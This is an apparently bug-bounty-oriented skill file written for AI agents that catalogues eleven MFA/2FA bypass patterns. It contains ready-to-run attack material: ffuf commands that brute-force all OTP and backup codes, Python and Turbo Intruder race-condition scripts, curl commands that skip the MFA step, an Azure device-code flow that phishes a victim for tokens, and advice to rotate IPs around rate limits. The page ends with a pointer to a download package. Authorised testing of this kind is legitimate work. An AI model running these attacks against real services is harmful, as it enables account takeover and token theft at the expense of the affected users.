hunt-mfa-bypass – Coding skill for AI agents

19. MFA / 2FA BYPASS

> Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session.

Pattern 1: No Rate Limit on OTP

# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
  -X POST -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban

Pattern 2: OTP Not Invalidated After Use

1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)

Pattern 3: Response Manipulation

1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check

Pattern 4: Skip MFA Step (Workflow Bypass)

# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl --max-time 30 --connect-timeout 10 -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard

Pattern 5: Race on MFA Verification

import asyncio, aiohttp

async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return r.status, await r.text()

async def race():
    cookies = {"session": "YOUR_SESSION"}
    async with aiohttp.ClientSession(cookies=cookies) as s:
        # Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
        # window before the server marks it used. Two requests are NOT enough —
        # they almost always resolve sequentially as "already-used" (false negative).
        # Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
        results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
        # Race confirmed if >1 success (or 1 success among many "already-used").
        for status, body in results:
            print(status, body)
asyncio.run(race())

Pattern 6: Backup Code Brute Force

Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.

Pattern 7: "Remember This Device" Trust Escalation

1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location

MFA Chain Escalation

Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High

Pattern 8: OAuth Device Code Flow MFA Bypass

Device authorization grant (RFC 8628) - skips interactive user-agent,
meaning MFA challenge is NEVER presented. The device code flow has no
session where the IdP can enforce an MFA step-up.

Detection:
  curl --max-time 30 --connect-timeout 10 -s "https://target.com/.well-known/oauth-authorization-server" | jq ".device_authorization_endpoint"
  # If present -> device code flow enabled; test if MFA is bypassed

Azure exploitation example:
  1. POST to https://login.microsoftonline.com/<tenant>/oauth2/v2.0/devicecode
     Body: client_id=<app_id>&scope=user.read%20openid
     -> Returns device_code, user_code, verification_uri
  2. Attacker sends user_code to victim via phishing -> victim enters code
  3. Meanwhile attacker polls: POST https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token
     Body: grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=<device_code>&client_id=<app_id>
  4. On victim approval -> attacker receives access_token + refresh_token
  5. If app does NOT enforce MFA on device code grant -> token without MFA check

Pattern 9: Backup Code Brute Force (ffuf-based)

Recovery/backup codes often have lower entropy than advertised - some IdPs
use sequential or timestamp-seeded codes. Test with ffuf:

  ffuf -u "https://target.com/api/mfa/verify-backup" \
    -X POST -H "Content-Type: application/json" \
    -H "Cookie: session=YOUR_SESSION" \
    -d '{"backup_code":"FUZZ"}' \
    -w <(seq -w 00000000 99999999) \
    -fc 400,401,429 -t 10 -p 0.1-0.5

  Key checks:
  - Purely numeric? 8-digit = 100M (feasible in hours at 5K req/s)
  - Format-locked? (e.g., "XXXX-XXXX" - hyphen reduces search space)
  - Per-IP rate limiting? Rotate IPs if per-IP, not per-code
  - Invalidated after use? If not -> reuse same code for all accounts

Pattern 10: MFA via SSO Bypass

SSO integrated with MFA at IdP level, but SP-initiated SSO (Service Provider
initiates SAML/OIDC flow) may skip MFA if IdP does not re-auth:

  1. User authenticates to IdP with password only (no MFA)
  2. IdP issues SAML assertion or ID token WITHOUT MFA claim (amr != mfa)
  3. SP trusts assertion without checking acr/amr values -> grants access

Detection:
  - Check SAML AuthnContextClassRef for expected MFA class
  - OIDC: decode ID token JWT, check the "amr" claim
  - If SP accepts tokens without "mfa" in amr -> bypass confirmed

Test: initiate SP login -> intercept SAML/OIDC request -> strip MFA params ->
forward to IdP. If assertion issued without MFA challenge -> SP grants access

Pattern 11: Biometric MFA Bypass

Server-side biometric verification (fingerprint scan, face match) where raw
biometric data or match-result token is sent to server can be replayed.

  1. Intercept biometric submission in Burp (Base64 image or match token)
  2. Capture the "biometric_verified: true" response or signed assertion
  3. Replay same payload in new session (different browser/device)
  4. If accepted without freshness (nonce, timestamp, device binding) -> bypass

Common weak implementations:
  - Static biometric challenge (not per-session nonce)
  - JWT result lacking "iat"/"jti" claims -> replayable
  - Server trusts client-reported "passed" boolean

Detection: capture token, wait 5 min, replay in Burp Repeater. If accepted ->
no freshness check. POST /api/biometric/verify {"token":"eyJ..."}

Updated Detection Methodology

Trace full auth flow in Burp Proxy HTTP history with explicit state transitions:

  1. Credential submission      ->  POST /api/login          -> set-cookie, redirect
  2. MFA challenge request      ->  GET /mfa/challenge       -> challenge data
  3. MFA verification           ->  POST /api/mfa/verify     -> auth token/cookie
  4. Post-MFA resource access   ->  GET /dashboard           -> 200 OK (authed)
  5. Sensitive action (no MFA)  ->  POST /api/change-password -> 200 (no step-up)

Check each transition:
  - Can (1->4) be forced by skipping (2->3)? (Pattern 4 - workflow bypass)
  - Does (3) accept the same payload twice? (Pattern 2 - OTP reuse)
  - Is (3) idempotent under concurrent load? (Pattern 5 - race condition)
  - Does (5) bypass MFA step-up? (Pattern 1 variant - sensitive endpoint)

JWT audit after each step:
  for token in $(cat captured_tokens.txt); do
    echo "$token" | cut -d. -f2 | base64 -d 2>/dev/null | jq ".amr, .acr, .mfa, .auth_time"
  done
  # Look for: missing "mfa" claim, stale "auth_time", missing "amr":["mfa"]

Turbo Intruder PoC - MFA Race Conditions

"""Turbo Intruder script for MFA race-conditions (Pattern 5 - advanced).
Single-packet attack via HTTP/2 connection reuse - fires 30+ OTP submissions
in one TCP segment before the server processes any, maximizing TOCTOU."""

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)
    # Fire 30 parallel OTP submissions on the SAME session
    for i in range(30):
        engine.queue(target.req, {"otp":"123456"}, learn=0)

def handleResponse(req, interesting):
    table.add(req)
    if chr(34)+"success"+chr(34)+":true" in req.response:
        print(f"[RACE WIN] Request {req.id} succeeded - MFA race confirmed")
        print(req.response[:500])

Race-Condition Validation Checklist

1. Run >=30 parallel requests (2-5 is insufficient - sequential resolution)
2. Use HTTP/2 single-packet attack (Turbo Intruder BURP2 or Python h2 library)
3. Confirm >1 requests return {"success": true} (or 1 success + N "already_used")
4. Verify the OTP is consumed afterward (replay should fail)
5. Document: server-side atomicity gap confirmed - all OTP codes are vulnerable

---

Verification

Run this self-test to confirm mfa-bypass hunting readiness:

1. **Skill integrity

… (full content is in the download package)